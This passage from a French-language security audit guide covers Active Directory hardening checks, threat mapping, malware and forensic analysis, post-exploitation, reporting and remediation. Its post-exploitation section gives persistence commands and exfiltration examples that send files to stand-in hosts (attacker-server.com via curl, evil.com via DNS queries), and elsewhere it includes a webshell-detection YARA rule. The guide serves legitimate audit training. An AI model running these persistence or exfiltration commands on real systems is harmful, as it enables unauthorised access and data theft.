# Recommandé : VirtualizationBasedSecurityStatus = 2 (Running)

# Mitigation NTLM relay
# Vérifier LDAP signing
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity"
# Recommandé : LDAPServerIntegrity = 2 (Required)

# Vérifier SMB signing
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# Recommandé : RequireSecuritySignature = True

Checklist de durcissement AD

Vérification Commande / Méthode Valeur attendue
Nombre de Domain Admins (Get-ADGroupMember "Domain Admins").Count ≤ 5
Mots de passe n'expirant jamais Comptes avec PasswordNeverExpires 0 (sauf comptes de service gérés)
Délégation non contrainte TrustedForDelegation = $true Uniquement les DC
Comptes SPN (Kerberoastable) Comptes avec ServicePrincipalName Mots de passe forts (25+ caractères)
LSASS Protection RunAsPPL 1 (activé)
SMB Signing RequireSecuritySignature True
LDAP Signing LDAPServerIntegrity 2 (Required)
Niveau fonctionnel du domaine (Get-ADDomain).DomainMode Windows2016Domain ou supérieur

8. Phase 6 — Analyse des menaces et malwares

Framework MITRE ATT&CK

Outil du site : MITRE ATT&CK Reference avec 89 techniques référencées pour mapper les menaces détectées.

Le framework MITRE ATT&CK permet de classifier les techniques d'attaque observées pendant l'audit selon une matrice standardisée :

Tactique Description Exemples de techniques
Initial Access Vecteur d'entrée initial Phishing, exploitation de service public
Execution Exécution de code malveillant PowerShell, WMI, macros
Persistence Maintien de l'accès Tâches planifiées, registre, services
Privilege Escalation Élévation de privilèges Exploitation de vulnérabilités, token manipulation
Defense Evasion Évitement des défenses Obfuscation, désactivation d'AV
Credential Access Vol de credentials LSASS dump, Kerberoasting
Discovery Découverte de l'environnement Énumération AD, scan réseau
Lateral Movement Déplacement latéral PsExec, WinRM, RDP
Collection Collecte de données Keylogger, screenshots, clipboard
Exfiltration Exfiltration de données DNS tunneling, HTTP, cloud storage
Impact Impact sur le système Ransomware, destruction de données

Identification de ransomwares

Outil du site : Ransomware ID Reference pour identifier les familles de ransomwares par extension de fichier, note de rançon ou IOC.
# Procédure d'identification en cas d'incident ransomware :
# 1. ISOLER la machine du réseau immédiatement
# 2. Prendre une photo/capture de la note de rançon
# 3. Identifier l'extension des fichiers chiffrés (.locked, .crypt, .encrypted, etc.)
# 4. Soumettre un fichier chiffré + note de rançon sur :
#    - https://id-ransomware.malwarehunterteam.com/
#    - https://www.nomoreransom.org/
# 5. Vérifier si un déchiffreur gratuit existe

# NE JAMAIS payer la rançon :
# - Aucune garantie de récupération
# - Finance les activités criminelles
# - Vous devenez une cible récurrente

Analyse de hash et IOC

Outils du site : Hash IdentifierCyberChef Lite pour identifier les types de hash et décoder des indicateurs obfusqués.
# Calculer le hash d'un fichier suspect
md5sum fichier_suspect
sha1sum fichier_suspect
sha256sum fichier_suspect

# PowerShell
Get-FileHash -Path "C:\suspect.exe" -Algorithm SHA256

# Soumettre le hash à VirusTotal
curl -s "https://www.virustotal.com/api/v3/files/SHA256_HASH" \
  -H "x-apikey: API_KEY" | jq '.data.attributes.last_analysis_stats'

# Vérifier une IP suspecte sur AbuseIPDB
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=IP_SUSPECTE&maxAgeInDays=90" \
  -H "Key: API_KEY" -H "Accept: application/json"

# Rechercher un IOC sur OTX AlienVault
curl -s "https://otx.alienvault.com/api/v1/indicators/IPv4/IP_SUSPECTE/general" \
  -H "X-OTX-API-KEY: API_KEY"

# Décoder des chaînes obfusquées (Base64, hex, etc.)
echo "Y21kIC9jIGNhbGMuZXhl" | base64 -d
# Résultat : cmd /c calc.exe

Analyse de fichiers suspects

# Analyse statique basique
file suspect.exe
strings suspect.exe | grep -iE "(http|https|ftp|cmd|powershell|eval|exec)"
exiftool suspect.exe

# Sandbox en ligne (soumettre le fichier) :
# - https://any.run/ (interactif)
# - https://www.hybrid-analysis.com/
# - https://www.joesandbox.com/

# YARA - Détection par règles
# Règle YARA basique
cat <<'EOF' > detect_webshell.yar
rule PHP_Webshell {
    meta:
        description = "Détecte les webshells PHP basiques"
        severity = "high"
    strings:
        $s1 = "system(" ascii
        $s2 = "exec(" ascii
        $s3 = "shell_exec(" ascii
        $s4 = "passthru(" ascii
        $s5 = "eval(" ascii
        $s6 = "$_GET" ascii
        $s7 = "$_POST" ascii
        $s8 = "$_REQUEST" ascii
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and any of ($s6, $s7, $s8)
}
EOF
yara detect_webshell.yar /var/www/html/ -r

Forensics de base

# Acquisition de mémoire (Windows)
# WinPMEM
winpmem_mini_x64.exe memdump.raw

# DumpIt
DumpIt.exe  # Crée un dump mémoire dans le répertoire courant

# Analyse avec Volatility 3
python3 vol.py -f memdump.raw windows.info
python3 vol.py -f memdump.raw windows.pslist
python3 vol.py -f memdump.raw windows.pstree
python3 vol.py -f memdump.raw windows.netscan
python3 vol.py -f memdump.raw windows.cmdline
python3 vol.py -f memdump.raw windows.filescan

# Timeline analysis
# Créer une timeline des événements système
python3 vol.py -f memdump.raw timeliner.TimeLiner --output-file timeline.csv

# Préservation des preuves (chain of custody)
# 1. Documenter : qui, quoi, quand, où, comment
# 2. Calculer les hash de chaque élément collecté
# 3. Travailler uniquement sur des copies
# 4. Conserver les originaux dans un lieu sûr
# 5. Journaliser chaque accès aux preuves

9. Phase 7 — Post-exploitation et évaluation d'impact

Évaluation de l'accès obtenu

Après avoir exploité une ou plusieurs vulnérabilités, il faut documenter précisément l'impact réel :

# Questions clés à documenter :
# 1. Quel niveau d'accès a été obtenu ? (utilisateur, admin local, admin domaine)
# 2. Quelles données sensibles sont accessibles ?
# 3. Quels systèmes supplémentaires sont atteignables (lateral movement) ?
# 4. L'accès est-il persistant ou temporaire ?

# Prouver l'accès (sans exfiltrer de données réelles)
whoami /all                        # Privilèges obtenus
hostname                           # Machine compromise
ipconfig /all                      # Position réseau
net localgroup Administrators      # Membres du groupe admin local
dir C:\Users\                      # Profils utilisateurs accessibles
dir \\fileserver\partage\          # Partages accessibles

# Screenshot de la preuve (pas de copie de données réelles)

Persistance (pour démontrer le risque)

Outil du site : MITRE ATT&CK Reference (tactique Persistence) pour classifier les techniques utilisées.
⚠ ATTENTION : Les techniques de persistance ne doivent être démontrées que si la convention d'audit le permet explicitement. Documentez chaque action et prévoyez le retrait systématique.
# Techniques de persistance courantes (pour démonstration)

# Tâche planifiée
schtasks /create /tn "AuditTest" /tr "C:\audit\beacon.exe" /sc daily /st 09:00

# Clé de registre Run
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AuditTest /t REG_SZ /d "C:\audit\beacon.exe"

# Service Windows
sc create AuditTestSvc binPath= "C:\audit\beacon.exe" start= auto

# WMI Event Subscription
# (technique avancée, souvent utilisée par les APT)

# IMPORTANT : Documenter CHAQUE mécanisme de persistance installé
# pour le supprimer lors de la phase de nettoyage

Exfiltration de données (test contrôlé)

# Canaux d'exfiltration courants à tester :

# 1. HTTP/HTTPS (le plus courant)
curl -X POST https://attacker-server.com/collect -d @sensitive_file.txt

# 2. DNS (difficile à détecter)
# Encoder les données dans les requêtes DNS
cat secret.txt | xxd -p | fold -w 60 | while read line; do nslookup $line.evil.com; done

# 3. ICMP (tunnel)
# Utiliser des outils comme ptunnel ou icmpsh

# 4. Cloud storage
# Upload vers un service cloud légitime (OneDrive, Google Drive, Dropbox)

# IMPORTANT : Utiliser des données factices pour les tests
# Ne JAMAIS exfiltrer de vraies données sensibles
# Documenter la taille et le type de données qui auraient pu être exfiltrées

Nettoyage et restauration

# Checklist de nettoyage OBLIGATOIRE

# 1. Supprimer les comptes créés
net user AuditTest /delete
Remove-ADUser -Identity "AuditTest" -Confirm:$false

# 2. Supprimer les tâches planifiées
schtasks /delete /tn "AuditTest" /f

# 3. Supprimer les clés de registre
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v AuditTest /f

# 4. Supprimer les services
sc delete AuditTestSvc

# 5. Supprimer les fichiers déposés
del /f /q C:\audit\*

# 6. Supprimer les webshells
# Lister et supprimer tout fichier déposé sur les serveurs web

# 7. Supprimer les règles de firewall ajoutées
netsh advfirewall firewall delete rule name="AuditTest"

# 8. Vérifier le retour à l'état initial
# Comparer avec le snapshot pré-audit si disponible

10. Rapport d'audit

Structure du rapport professionnel

RAPPORT D'AUDIT DE SÉCURITÉ

1. PAGE DE GARDE
   - Logo du prestataire
   - Titre : "Rapport d'audit de sécurité - [Client]"
   - Référence : AUDIT-[AAAA]-[NNN]
   - Classification : CONFIDENTIEL
   - Date, version, auteurs

2. RÉSUMÉ EXÉCUTIF (1-2 pages)
   - Contexte de l'audit
   - Périmètre testé
   - Score global de sécurité (A à F ou note /100)
   - Statistiques des vulnérabilités :
     Critiques: X | Hautes: X | Moyennes: X | Faibles: X | Info: X
   - Top 3 des vulnérabilités les plus critiques
   - Recommandations prioritaires

3. CONTEXTE ET PÉRIMÈTRE
   - Objectifs de l'audit
   - Périmètre technique détaillé
   - Exclusions et limitations
   - Type d'audit (black/grey/white box)
   - Dates de réalisation

4. MÉTHODOLOGIE
   - Référentiels utilisés (OWASP, PTES, NIST)
   - Outils utilisés
   - Approche (manuelle + automatisée)

5. VULNÉRABILITÉS DÉTAILLÉES
   Pour chaque vulnérabilité :
   - Identifiant : VULN-[NNN]
   - Titre descriptif
   - Sévérité : Critique / Haute / Moyenne / Faible / Info
   - Score CVSS v3.1 : [score] ([vecteur])
   - CVE associée (si applicable)
   - Description technique
   - Preuve d'exploitation (screenshots, logs, commandes)
   - Impact business
   - Recommandation de correction
   - Effort de correction estimé (faible / moyen / élevé)
   - Références (CWE, OWASP, ANSSI)

6. PLAN DE REMÉDIATION
   - Tableau priorisé des corrections
   - Timeline recommandée
   - Quick wins (corrections rapides à fort impact)

7. ANNEXES
   - Résultats bruts des scans
   - Configuration des outils
   - Glossaire

Format CVSS pour chaque vulnérabilité

# Exemple de scoring CVSS v3.1

Vulnérabilité : SQL Injection sur la page de login
CVSS Base Score : 9.8 (Critique)
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Décomposition :
- Attack Vector (AV) : Network (accessible à distance)
- Attack Complexity (AC) : Low (facile à exploiter)
- Privileges Required (PR) : None (pas d'authentification)
- User Interaction (UI) : None (pas d'interaction nécessaire)
- Scope (S) : Unchanged
- Confidentiality (C) : High (accès à toutes les données)
- Integrity (I) : High (modification des données possible)
- Availability (A) : High (suppression possible)

Classification des risques

Probabilité ↓ / Impact → Faible Modéré Élevé Critique
Très probable Moyen Élevé Critique Critique
Probable Faible Moyen Élevé Critique
Possible Faible Faible Moyen Élevé
Peu probable Info Faible Faible Moyen
Outil du site : Utilisez le CVE Lookup pour référencer précisément les CVE dans votre rapport avec les scores CVSS officiels.

Présentation aux décideurs

Le résumé exécutif doit être compréhensible par des non-techniciens :

  • Utiliser des analogies concrètes (ex: « c'est comme laisser la porte d'entrée ouverte »)
  • Quantifier l'impact financier potentiel (coût d'une fuite de données, amende RGPD)
  • Illustrer avec un scénario d'attaque réaliste
  • Montrer le retour sur investissement des corrections
  • Présenter les quick wins en premier

11. Remédiation et suivi

Priorisation des corrections

Catégorie Effort Impact sécurité Exemples Délai
Quick Wins Faible Élevé Ajouter des headers HTTP, désactiver des services inutiles, mettre à jour des logiciels 1-2 semaines
Corrections majeures Moyen Élevé Corriger les injections SQL, implémenter CSP, renforcer l'authentification 1 mois
Projets structurels Élevé Élevé Segmentation réseau, déploiement WAF, refonte de l'architecture 3-6 mois
Améliorations continues Variable Modéré Formation, procédures, monitoring avancé En continu

Vérification des corrections (re-test)

# Processus de re-test
# 1. Le client corrige les vulnérabilités selon le plan de remédiation
# 2. Le client informe l'auditeur que les corrections sont déployées
# 3. L'auditeur re-teste CHAQUE vulnérabilité corrigée
# 4. Mise à jour du rapport avec le statut :
#    - Corrigé : la vulnérabilité n'est plus exploitable
#    - Partiellement corrigé : risque réduit mais toujours présent
#    - Non corrigé : la vulnérabilité persiste
#    - Nouvelle vulnérabilité : la correction a introduit un nouveau problème

# Re-tester les en-têtes HTTP
curl -sI https://exemple.com | grep -iE "^(content-security|strict-transport|x-frame)"

# Re-tester TLS
./testssl.sh --severity HIGH exemple.com

# Re-tester les injections
sqlmap -u "https://exemple.com/page?id=1" --batch --banner

# Vérifier les ports fermés
nmap -sS -p 21,23,445,3389 exemple.com

Mise en place de la surveillance continue

  • SIEM : Centraliser les logs (Splunk, ELK Stack, Wazuh, Microsoft Sentinel)
  • EDR : Protection endpoint avancée (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
  • Monitoring réseau : Surveillance du trafic (Zeek, Suricata, Snort)
  • Vulnerability Management : Scans réguliers (Nessus, Qualys, OpenVAS)
  • Dashboards : Tableaux de bord de sécurité avec KPIs

Programme d'amélioration continue

Action Fréquence Description
Scan de vulnérabilités Mensuel Scan automatisé de l'infrastructure
Audit de sécurité complet Annuel Audit par un prestataire externe
Pentest applicatif Semestriel Test des applications web critiques
Exercice phishing Trimestriel Campagne de sensibilisation
Red Team / Blue Team Annuel Simulation d'attaque complète
Formation sécurité Annuel Sensibilisation de tous les employés
Revue des accès Trimestriel Vérification des droits utilisateurs
Bug Bounty Continu Programme de récompense (HackerOne, YesWeHack)

12. Checklist de synthèse

Cette checklist couvre l'ensemble des vérifications à réaliser lors d'un audit de sécurité complet. Utilisez-la comme guide pour ne rien oublier.

Phase Vérification Outil recommandé Criticité
Préparation Convention d'audit signée et périmètre défini Pentest Checklist Critique
Préparation Inventaire des assets (IP, domaines, applications) WHOIS, IP Lookup Haute
Préparation Contacts d'urgence définis et testés - Haute
Recon Passive WHOIS et enregistrements DNS complets WHOIS, MX Lookup Haute
Recon Passive Énumération des sous-domaines DNS Propagation Haute
Recon Passive Google Dorking (fichiers exposés, pages admin) Google Moyenne
Recon Passive Recherche Shodan / Censys Shodan, Censys Moyenne
Recon Passive Récolte d'emails et OSINT personnel theHarvester Moyenne
Recon Passive Reverse IP et hébergement partagé Reverse IP Lookup Moyenne
Recon Active Scan complet de ports TCP/UDP Port Scanner, Nmap Critique
Recon Active Détection de version des services Nmap (-sV) Critique
Recon Active Recherche de CVE pour chaque service découvert CVE Lookup Critique
Recon Active Scan de vulnérabilités automatisé Nessus, OpenVAS, Nuclei Haute
Recon Active Énumération de répertoires web Gobuster, Feroxbuster Haute
Recon Active Énumération SMB (partages, utilisateurs) enum4linux, CrackMapExec Haute
Audit Web Vérification des en-têtes de sécurité HTTP Header Security Checker Haute
Audit Web Vérification configuration TLS/SSL Cipher Suite Tester, SSL Checker Critique
Audit Web Test de la configuration CORS CORS Tester Haute
Audit Web Test d'injection SQL sqlmap, Burp Suite Critique
Audit Web Test XSS (refléchi, stocké, DOM) XSStrike, Burp Suite Critique
Audit Web Test SSRF Burp Suite Critique
Audit Web Test Command Injection Commix, Burp Suite Critique
Audit Web Test d'authentification (brute force, politique MDP) Hydra, Burp Suite Haute
Audit Web Test de gestion de session (fixation, cookies) Burp Suite Haute
Audit Web Test IDOR et escalade de privilèges Burp Suite Critique
Audit Web Test d'upload de fichiers malveillants Burp Suite Haute
Audit Web Test de sécurité API REST/GraphQL OWASP Top 10, Burp Suite Haute
Audit Réseau Analyse du trafic réseau (credentials en clair) Wireshark Critique
Audit Réseau Vérification des ports dangereux exposés Ports Sécurité, Port Scanner Critique
Audit Réseau Vérification blacklist IP IP Blacklist Checker Moyenne
Audit Réseau Vérification SPF/DKIM/DMARC DKIM / SPF Checker Haute
Audit Réseau Test de segmentation réseau (VLANs, DMZ) Nmap, CrackMapExec Haute
Audit Réseau Audit Wi-Fi (protocoles, isolation) aircrack-ng Moyenne
Audit AD Énumération complète AD (users, groups, GPO) PowerShell Security Critique
Audit AD Nombre de Domain Admins (≤ 5) PowerShell Critique
Audit AD Comptes avec mots de passe n'expirant jamais PowerShell Haute
Audit AD Délégation non contrainte PowerShell, BloodHound Critique
Audit AD Test Kerberoasting / AS-REP Roasting Rubeus, Impacket Critique
Audit AD Politique de mot de passe (longueur ≥ 12) PowerShell Haute
Audit AD Politique d'audit (Event IDs critiques) auditpol, PowerShell Haute
Audit AD Protection LSASS (RunAsPPL, Credential Guard) PowerShell (registre) Critique
Audit AD SMB Signing et LDAP Signing PowerShell Haute
Audit AD Chemins d'attaque (BloodHound) BloodHound, SharpHound Critique
Menaces Mapping MITRE ATT&CK des techniques détectées MITRE ATT&CK Moyenne
Menaces Analyse des hash suspects (VirusTotal, IOC) Hash Identifier, CyberChef Lite Haute
Menaces Vérification présence de ransomware/malware Ransomware ID Critique
Post-exploit Évaluation de l'impact des accès obtenus - Critique
Post-exploit Nettoyage complet de tous les artefacts de test - Critique
Rapport Rédaction du rapport avec scoring CVSS CVE Lookup Critique
Rapport Résumé exécutif non technique - Haute
Rapport Plan de remédiation priorisé avec timeline - Haute
Suivi Re-test des corrections Tous les outils précédents Haute
Suivi Mise en place de la surveillance continue (SIEM, EDR) Wazuh, ELK, Sentinel Haute

13. Ressources et références

Standards et référentiels

Ressource Lien Description
OWASP Testing Guide https://owasp.org/www-project-web-security-testing-guide/ Méthodologie complète de test web
OWASP Top 10 https://owasp.org/www-project-top-ten/ Top 10 des risques web
NIST Cybersecurity Framework https://www.nist.gov/cyberframework Framework de gestion des risques cyber
ANSSI - Guides de sécurité https://www.ssi.gouv.fr/administration/bonnes-pratiques/ Recommandations de l'ANSSI (France)
ISO 27001 https://www.iso.org/isoiec-27001-information-security.html Norme internationale SMSI
MITRE ATT&CK https://attack.mitre.org/ Matrice de techniques d'attaque
PTES http://www.pentest-standard.org/ Standard d'exécution de pentest
CWE (Common Weakness Enumeration) https://cwe.mitre.org/ Catégorisation des faiblesses logicielles

Outils externes recommandés par catégorie

Reconnaissance

Outil Usage Lien
Nmap Scan de ports et découverte réseau https://nmap.org/
Amass Énumération de sous-domaines https://github.com/owasp-amass/amass
Subfinder Découverte de sous-domaines passive https://github.com/projectdiscovery/subfinder
theHarvester Récolte d'emails et sous-domaines https://github.com/laramies/theHarvester
Shodan Moteur de recherche d'appareils connectés https://www.shodan.io/

Scan de vulnérabilités

Outil Usage Lien
Nessus Scanner de vulnérabilités (commercial) https://www.tenable.com/products/nessus
OpenVAS / Greenbone Scanner de vulnérabilités (open source) https://www.greenbone.net/
Nuclei Scanner rapide basé sur des templates https://github.com/projectdiscovery/nuclei
Nikto Scanner de serveurs web https://github.com/sullo/nikto

Exploitation web

Outil Usage Lien
Burp Suite Proxy d'interception et test web https://portswigger.net/burp
sqlmap Détection et exploitation SQL injection https://sqlmap.org/
Gobuster / Feroxbuster Découverte de répertoires web https://github.com/OJ/gobuster
ffuf Fuzzer web rapide https://github.com/ffuf/ffuf

Active Directory

Outil Usage Lien
BloodHound Visualisation des chemins d'attaque AD https://github.com/BloodHoundAD/BloodHound
PingCastle Audit de santé Active Directory https://www.pingcastle.com/
Impacket Suite d'outils réseau Python (Kerberoast, etc.) https://github.com/fortra/impacket
CrackMapExec Post-exploitation et énumération réseau https://github.com/byt3bl33d3r/CrackMapExec
Rubeus Manipulation Kerberos https://github.com/GhostPack/Rubeus

Analyse et forensics

Outil Usage Lien
Wireshark Analyse de trafic réseau https://www.wireshark.org/
Volatility Analyse de mémoire (forensics) https://github.com/volatilityfoundation/volatility3
VirusTotal Analyse de fichiers et URLs suspects https://www.virustotal.com/
Any.run Sandbox interactive d'analyse de malwares https://any.run/

Certifications en cybersécurité

Certification Organisme Niveau Focus
CompTIA Security+ CompTIA Débutant Fondamentaux de la sécurité
CEH (Certified Ethical Hacker) EC-Council Intermédiaire Hacking éthique, méthodologie
eJPT INE Security Débutant Pentest pratique (entrée de gamme)
OSCP OffSec Avancé Pentest pratique (référence du marché)
OSWE OffSec Expert Sécurité applicative web
CISSP ISC2 Senior Management de la sécurité (gouvernance)
CRTP / CRTE Altered Security Avancé Active Directory Red Team

Plateformes d'entraînement

Plateforme Type Lien
HackTheBox Labs de pentest (machines vulnérables) https://www.hackthebox.com/
TryHackMe Apprentissage guidé (débutants à avancés) https://tryhackme.com/
Root-Me Challenges variés (communauté française) https://www.root-me.org/
PortSwigger Web Security Academy Labs web gratuits (par les créateurs de Burp) https://portswigger.net/web-security
VulnHub Machines virtuelles vulnérables à télécharger https://www.vulnhub.com/
Hack The Box Academy Cours structurés par module https://academy.hackthebox.com/

Livres recommandés

  • The Web Application Hacker's Handbook - Dafydd Stuttard, Marcus Pinto (sécurité web)
  • Penetration Testing - Georgia Weidman (pentest général)
  • The Hacker Playbook 3 - Peter Kim (méthodologie Red Team)
  • Active Directory Attacks and Defense - Nikhil Mittal (AD security)
  • RTFM: Red Team Field Manual - Ben Clark (référence commandes)
  • Blue Team Handbook - Don Murdoch (défense et forensics)
  • Sécurité informatique - Ethical Hacking - ACISSI (en français, éditions ENI)